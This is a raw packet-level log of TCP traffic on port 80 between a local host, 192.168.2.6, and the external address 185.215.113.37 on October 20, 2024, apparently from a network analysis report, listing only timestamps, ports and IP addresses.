Oct 20, 2024 21:16:09.083153009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.083164930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.083172083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.083180904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.083194017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.083194017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.083218098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.083259106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.084006071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084019899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084029913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084042072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084052086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084062099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084068060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084078074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084084988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.084084988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.084086895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084100008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084111929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084115982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.084124088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084136009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.084160089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.084188938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.084932089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084944010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084959984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084971905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084981918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084992886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.084997892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.085001945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085010052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085021019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085031033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085042000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085052967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085056067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.085056067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.085084915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.085110903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.085865021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085877895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085887909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085900068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085911989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085921049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.085922956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085937977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085949898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085959911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085961103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.085972071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085983992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085994005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.085995913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.086025953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.086054087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.086805105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086817980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086827993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086839914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086850882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086865902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086869955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.086878061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086889982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086903095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086905956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.086914062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086925983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.086931944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086945057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.086949110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.086971998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.087007999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.087716103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087733984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087744951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087757111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087768078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087771893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.087779999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087793112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087804079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087810040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.087816954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087831020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087842941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087853909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.087857008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.087888002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.087888002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.087920904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.088510990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088522911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088531971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088542938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088553905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088565111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088567019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.088577032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088588953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088601112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088606119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.088612080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088625908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088624954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.088637114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088648081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088648081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.088660955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088669062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.088673115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088687897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.088692904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.088711023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.088742018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.089481115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089493036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089503050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089514017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089524031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089534998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089534998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.089548111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089555979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.089561939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089575052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089585066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089589119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.089596987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089608908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089613914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.089621067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089632034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089631081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.089643955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.089667082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.089696884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.090455055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090467930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090478897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090488911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090500116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090509892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090509892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.090522051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090533018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.090534925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090545893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090558052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090569019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090572119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.090580940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090593100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090600967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.090600967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.090605974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090619087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.090620995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.090655088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.090673923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091289043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091394901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091407061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091411114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091419935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091433048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091439009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091444969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091456890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091458082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091474056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091504097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091670036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091717958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091814995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091845989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091856003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091866016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091867924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091878891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091890097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091900110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091902018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091901064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091916084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091928005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091939926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091941118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091950893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091962099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091973066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.091978073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091979027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.091985941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092000961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.092029095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.092844009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092855930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092866898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092879057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092890024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092900038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092909098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.092912912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092926025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092936993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092937946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.092937946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.092947960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092957973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.092961073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092972994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092984915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.092995882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.092995882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093009949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093029022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.093050003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.093069077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.093624115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093692064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.093808889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093820095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093825102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093831062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093842030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093853951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093864918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093874931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093885899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093890905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.093899012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093910933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093920946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093938112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093945980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.093945026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.093945026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.093987942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.093987942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.094018936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.094665051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.094676971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.094686985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.094700098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.094710112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.094718933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.094726086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.094741106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.094760895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.094806910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.094995975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095009089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095051050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095084906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095138073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095151901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095164061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095175028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095191956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095196009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095204115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095216036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095227957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095227957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095241070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095252991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095262051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095264912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095277071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095289946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095298052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095303059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095315933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095334053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095376015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.095954895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.095968008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:09.096008062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.096041918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.510488033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:09.515559912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:10.358263016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:10.358345032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:10.480484962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:10.486011982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:11.332283974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:11.332370043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:12.331742048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:12.338915110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:13.177325010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:13.177417040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:13.933928013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:13.939779043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.276460886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.276532888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.276742935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.276758909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.276792049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.276812077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.277726889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.277746916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.277782917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.277801037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.278824091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.278846979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.278891087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.278907061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.279895067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.279917002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.279932976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.279956102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.279973030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.279982090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.280734062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.280750990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.280792952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.280824900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.463602066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.463699102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.463848114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.463865995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.463900089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.463920116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.464453936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.464469910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.464524031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.464540005 CEST	49711	80	192.168.2.6	185.215.113.37
